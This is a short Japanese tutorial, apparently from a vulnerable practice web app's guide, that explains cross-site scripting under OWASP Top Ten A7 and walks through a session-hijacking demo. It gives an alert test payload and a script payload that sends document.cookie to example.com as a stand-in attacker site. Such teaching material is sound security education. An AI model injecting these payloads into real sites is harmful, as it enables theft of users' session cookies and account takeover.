A7: クロスサイト・スクリプティング (XSS)

OWASP Top Ten には以下の記載があります:

XSS の欠陥は、アプリケーションが適切な検証やエスケープを行わずに新しい Web ページに信頼できないデータを含んだ場合、または、HTML や JavaScript を生成できるブラウザの API を用いてユーザーが指定したデータで既存の Web ページを更新した場合に発生します。XSS は、攻撃者が被害者のブラウザでスクリプトを実行することを可能にします。スクリプトは、ユーザーセッションをハイジャックしたり、不正な Web サイトを第三者に表示したり、ユーザーを悪意のあるサイトにリダイレクトしたりする可能性があります。

XSS を使用したセッションハイジャックエクスプロイトの例を見てみましょう。

  1. Web アプリケーションの URL を開き、[OWASP Top 10 Examples] をクリックし、[A7: Cross-Site Scripting XSS] を選択します。 a7-Select

  2. ページがXSS脆弱かどうかをテストする典型的な方法は、アラートを使用することです。<script>alert("LOL!")</script> a7-xss-check

  3. 攻撃者は本ページに XSS が適用できることを確認しました。次に、他のユーザーのページにレンダリングできる JavaScript コードを注入します。一般的な XSS 脆弱性は、ユーザをブラウザー Cookie(セッショントークンを含む可能性がある)とともにリダイレクトしようとします。これを実際に確認するには、<script>document.location='http://example.com/?cookies='+document.cookie</script> と入力してみてください。ブラウザは、クエリパラメータにブラウザクッキーを使用して、攻撃者のウェブサイトにリダイレクトします。 a7-クッキー盗まれる

  4. SessionID クッキーが盗まれた場合、攻撃者は A2: Broken Authentication と同様の方法を用い、被害者のセッションをハイジャックすることができます。